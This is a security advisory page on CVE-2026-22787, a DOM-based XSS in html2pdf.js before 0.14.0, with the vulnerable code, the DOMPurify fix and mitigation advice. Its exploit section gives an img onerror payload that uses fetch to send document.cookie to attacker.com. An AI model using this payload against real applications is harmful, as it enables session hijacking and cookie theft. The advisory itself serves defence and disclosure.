CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-22787

PDFs, Promises, and Pain: Slicing Open html2pdf.js (CVE-2026-22787)

Amit Schendel
Amit Schendel
Senior Security Researcher

Feb 19, 2026·5 min read·51 visits

Executive Summary (TL;DR)

Critical DOM XSS in html2pdf.js < 0.14.0. The library blindly assigned unsanitized HTML strings to `innerHTML`, attempting to remove `<script>` tags only *after* the browser had already parsed and executed inline event handlers. Fix: Upgrade to 0.14.0 which implements DOMPurify.

Generating PDFs on the backend is a nightmare of headless browsers and dependency hell. So, naturally, developers flocked to `html2pdf.js` to offload that pain to the client side. Unfortunately, prior to version 0.14.0, this library treated user input with the naive trust of a golden retriever. By attempting to filter malicious code *after* inserting it into the DOM, the library opened the door wide for DOM-based Cross-Site Scripting (XSS). This vulnerability allows attackers to execute arbitrary JavaScript simply by convincing a user (or an admin) to generate a PDF containing a malicious string.

The Hook: Client-Side Rendering is a Trap

Let's be honest: nobody likes generating PDFs. It's the digital equivalent of doing taxes. You have to mess with coordinates, fonts that don't load, and layout engines that behave like they're from 1998. Enter html2pdf.js. It promises a dream: give it an HTML string, and it gives you a shiny PDF using html2canvas and jspdf under the hood.

It works beautifully. Developers love it. They hook it up to invoice generators, report builders, and 'Export to PDF' buttons everywhere. And because it runs in the browser, nobody thinks about sanitization. "It's just client-side," they say. "What could go wrong?"

Everything. Everything could go wrong. Because when you take a string from a user and tell the browser "render this as HTML," you are essentially handing the keys to the kingdom to anyone who knows how to close an <img> tag.

The Flaw: The 'Hold My Beer' of Sanitization

The root cause here isn't just a bug; it's a fundamental misunderstanding of how browsers work. The vulnerability lies in the Worker class, specifically how it handles string input via the .from() method.

To convert a string of HTML into a PDF, the library first needs to render it into the DOM so html2canvas can take a picture of it. The developers did the obvious thing: they created a temporary container and set its content.

But they knew XSS was a risk. So, they implemented a mitigation. They decided to insert the HTML, and then look for <script> tags and remove them. This is the security equivalent of letting a burglar into your house and then asking them nicely to leave their guns at the door—after they've already shot you.

Browsers execute HTML sequentially and immediately. When you assign a string to innerHTML, the parser runs. If that string contains <img src=x onerror=alert(1)>, the browser attempts to load the image, fails, triggers the error, and executes the alert before the next line of JavaScript code even runs. The library's cleanup routine arrives too late to save the day.

The Code: Anatomy of a Failure

Let's look at the smoking gun in src/utils.js. This creates the element that will eventually be snapshotted.

The Vulnerable Code (Pre-0.14.0):

export const createElement = function createElement(tagName, opt) {
  var el = document.createElement(tagName);
  if (opt.className)  el.className = opt.className;
  
  if (opt.innerHTML) {
    // DANGER ZONE START
    el.innerHTML = opt.innerHTML; // <--- The fatal flaw
    var scripts = el.getElementsByTagName('script');
    // The futile attempt to clean up the mess
    for (var i = scripts.length; i-- > 0; null) {
      scripts[i].parentNode.removeChild(scripts[i]);
    }
    // DANGER ZONE END
  }
  return el;
};

See that el.innerHTML = opt.innerHTML? That is the exact moment the exploit fires. The for loop below it is effectively dead code security-wise. It removes <script> tags, sure, but it ignores onerror, onload, onmouseover, SVG scripts, and a dozen other vectors.

The Fix (v0.14.0):

The maintainers finally brought in the heavy artillery: DOMPurify. This library is the gold standard for HTML sanitization because it strips dangerous bits before the browser renders them.

import DOMPurify from 'dompurify';
 
export const createElement = function createElement(tagName, opt) {
  var el = document.createElement(tagName);
  if (opt.className) el.className = opt.className;
  
  if (opt.innerHTML) {
    // Sanitize BEFORE assignment
    el.innerHTML = DOMPurify.sanitize(opt.innerHTML);
  }
  return el;
};

The Exploit: Bypassing the Blacklist

Since the library was only filtering <script> tags (a classic blacklist failure), exploiting this is trivial for anyone who has passed XSS 101.

The Scenario: Imagine an internal dashboard where employees can customize their profile bio. The dashboard has a "Download Profile as PDF" feature using html2pdf.js. An attacker sets their bio to the payload below.

The Payload:

// We don't need <script> tags. We just need an event handler.
const payload = '<img src="nonexistent.jpg" onerror="fetch(\'https://attacker.com/steal?c=\' + document.cookie)">';
 
// When the victim clicks "Download PDF"...
html2pdf().from(payload).save();

The Execution Flow:

  1. The victim clicks "Export".
  2. html2pdf takes the bio string.
  3. It calls createElement.
  4. It sets innerHTML. The browser parses <img ...>.
  5. The browser fires onerror immediately.
  6. The cookie is sent to the attacker.
  7. The library checks for <script> tags, finds none, and proceeds to generate a PDF of the broken image. The crime is already done.

The Mitigation: Stop the Bleeding

If you are using html2pdf.js version 0.13.x or lower, you are vulnerable. The fix is straightforward, but you need to verify it actually applies to your build pipeline.

Primary Fix: Upgrade to version 0.14.0 or later. The maintainers added dompurify as a dependency.

npm install html2pdf.js@latest

Defense in Depth: Even with the patched library, trusting client-side sanitization entirely can be risky if the library configuration is loose. Ideally, you should sanitize HTML on the server-side before it ever reaches the client. If you must generate PDFs from user input, treat that input as radioactive material.

If you cannot upgrade immediately (legacy projects are fun, right?), you must manually sanitize the string before passing it to .from():

import DOMPurify from 'dompurify';
 
// Manually clean it before html2pdf touches it
const cleanHTML = DOMPurify.sanitize(dirtyInput);
html2pdf().from(cleanHTML).save();

Official Patches

eKoopmansGitHub Commit Fix

Fix Analysis (1)

Technical Appendix

CVSS Score
8.7/ 10
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N
EPSS Probability
0.08%
Top 76% most exploited

Affected Systems

Web applications using html2pdf.js < 0.14.0Single Page Applications (SPAs) with PDF export featuresInvoice generatorsReport dashboards

Affected Versions Detail

Product
Affected Versions
Fixed Version
html2pdf.js
eKoopmans
< 0.14.00.14.0
AttributeDetail
CWE IDCWE-79 (Cross-Site Scripting)
Attack VectorNetwork (DOM-based)
CVSS v4.08.7 (High)
ImpactSession Hijacking, Arbitrary JS Execution
Exploit StatusProof of Concept Available
Patch Date2026-01-12

MITRE ATT&CK Mapping

T1189Drive-by Compromise
Initial Access
T1059.007Command and Scripting Interpreter: JavaScript
Execution
CWE-79
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Known Exploits & Detection

Yunus Aydın BlogOriginal technical analysis and PoC

Vulnerability Timeline

Vulnerability Discovered
2026-01-05
Patch Committed
2026-01-12
CVE Published
2026-01-14
PoC Released
2026-01-17

References & Sources

  • [1]GitHub Security Advisory
  • [2]NVD CVE Record

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•2 days ago•CVE-2026-58197
8.8

CVE-2026-58197: Host Escape and Lateral Movement via Insecure Container Network Defaults in ToolHive

A high-severity access control vulnerability in ToolHive CLI before v0.30.1 and ToolHive Studio before v0.38.0 allows local containerized MCP servers to bypass network isolation. This enables malicious workloads to establish TCP/IP connections to administrative and control plane endpoints exposed on the host loopback interface.

Amit Schendel
Amit Schendel
9 views•8 min read
•2 days ago•CVE-2026-63405
5.9

CVE-2026-63405: Insufficient Verification of Data Authenticity in AnyCable Pusher REST API

AnyCable is a real-time communication server. Prior to version 1.6.15, its Pusher-compatible REST API suffered from an authentication bypass vulnerability because it failed to verify that the request body matched the signature-validated body_md5 parameter. This allows attackers to perform replay attacks with modified body contents.

Amit Schendel
Amit Schendel
9 views•5 min read
•2 days ago•CVE-2026-64847
6.8

CVE-2026-64847: Indefinite Denial of Service via Undrained Stderr in AnyIO Process Pool Workers

A denial-of-service vulnerability exists in AnyIO prior to version 4.14.2. Standard error streams of process-pool workers are connected to an operating system pipe that is never drained by the parent process. This allows a worker to fill the pipe buffer and deadlock indefinitely.

Amit Schendel
Amit Schendel
12 views•6 min read
•2 days ago•CVE-2026-63349
7.0

CVE-2026-63349: Privilege Dropping Bypass and Denial of Service in AnyIO Subprocess Module

CVE-2026-63349 is a critical privilege-dropping bypass vulnerability in the AnyIO asynchronous framework (versions 4.14.0 and 4.14.1) on POSIX platforms. Due to a variable assignment typo, supplementary groups specified by the developer are not correctly propagated to the execution backend, resulting in subprocesses retaining the parent process's elevated supplementary group permissions.

Alon Barad
Alon Barad
23 views•5 min read
•2 days ago•CVE-2026-63406
5.9

CVE-2026-63406: Information Disclosure via Insecure Telemetry and Hardcoded Credentials in AnyCable-Go

CVE-2026-63406 is an information disclosure vulnerability in AnyCable-go prior to version 1.6.15. The built-in telemetry client is enabled by default with a hardcoded public authentication token ('secret'). This client digests highly sensitive configuration parameters and command-line arguments, including JWT secrets and RPC secrets, into a stable SHA-256 fingerprint. This fingerprint is sent over public networks, exposing those administrative secrets to offline dictionary and brute-force attacks if intercepted.

Alon Barad
Alon Barad
7 views•5 min read
•2 days ago•CVE-2026-84992
6.1

CVE-2026-84992: Cross-Site Scripting (XSS) via Fenced Code Block Parsing in md-editor-v3

CVE-2026-84992 is a Cross-Site Scripting (XSS) vulnerability affecting md-editor-v3 before version 6.5.4. It occurs because the fenced-code block language parser directly interpolates unescaped language metadata into unquoted HTML attributes inside the custom rendering callback. This bypasses the built-in XSSPlugin which runs during the parsing phase, before rendering.

Amit Schendel
Amit Schendel
11 views•6 min read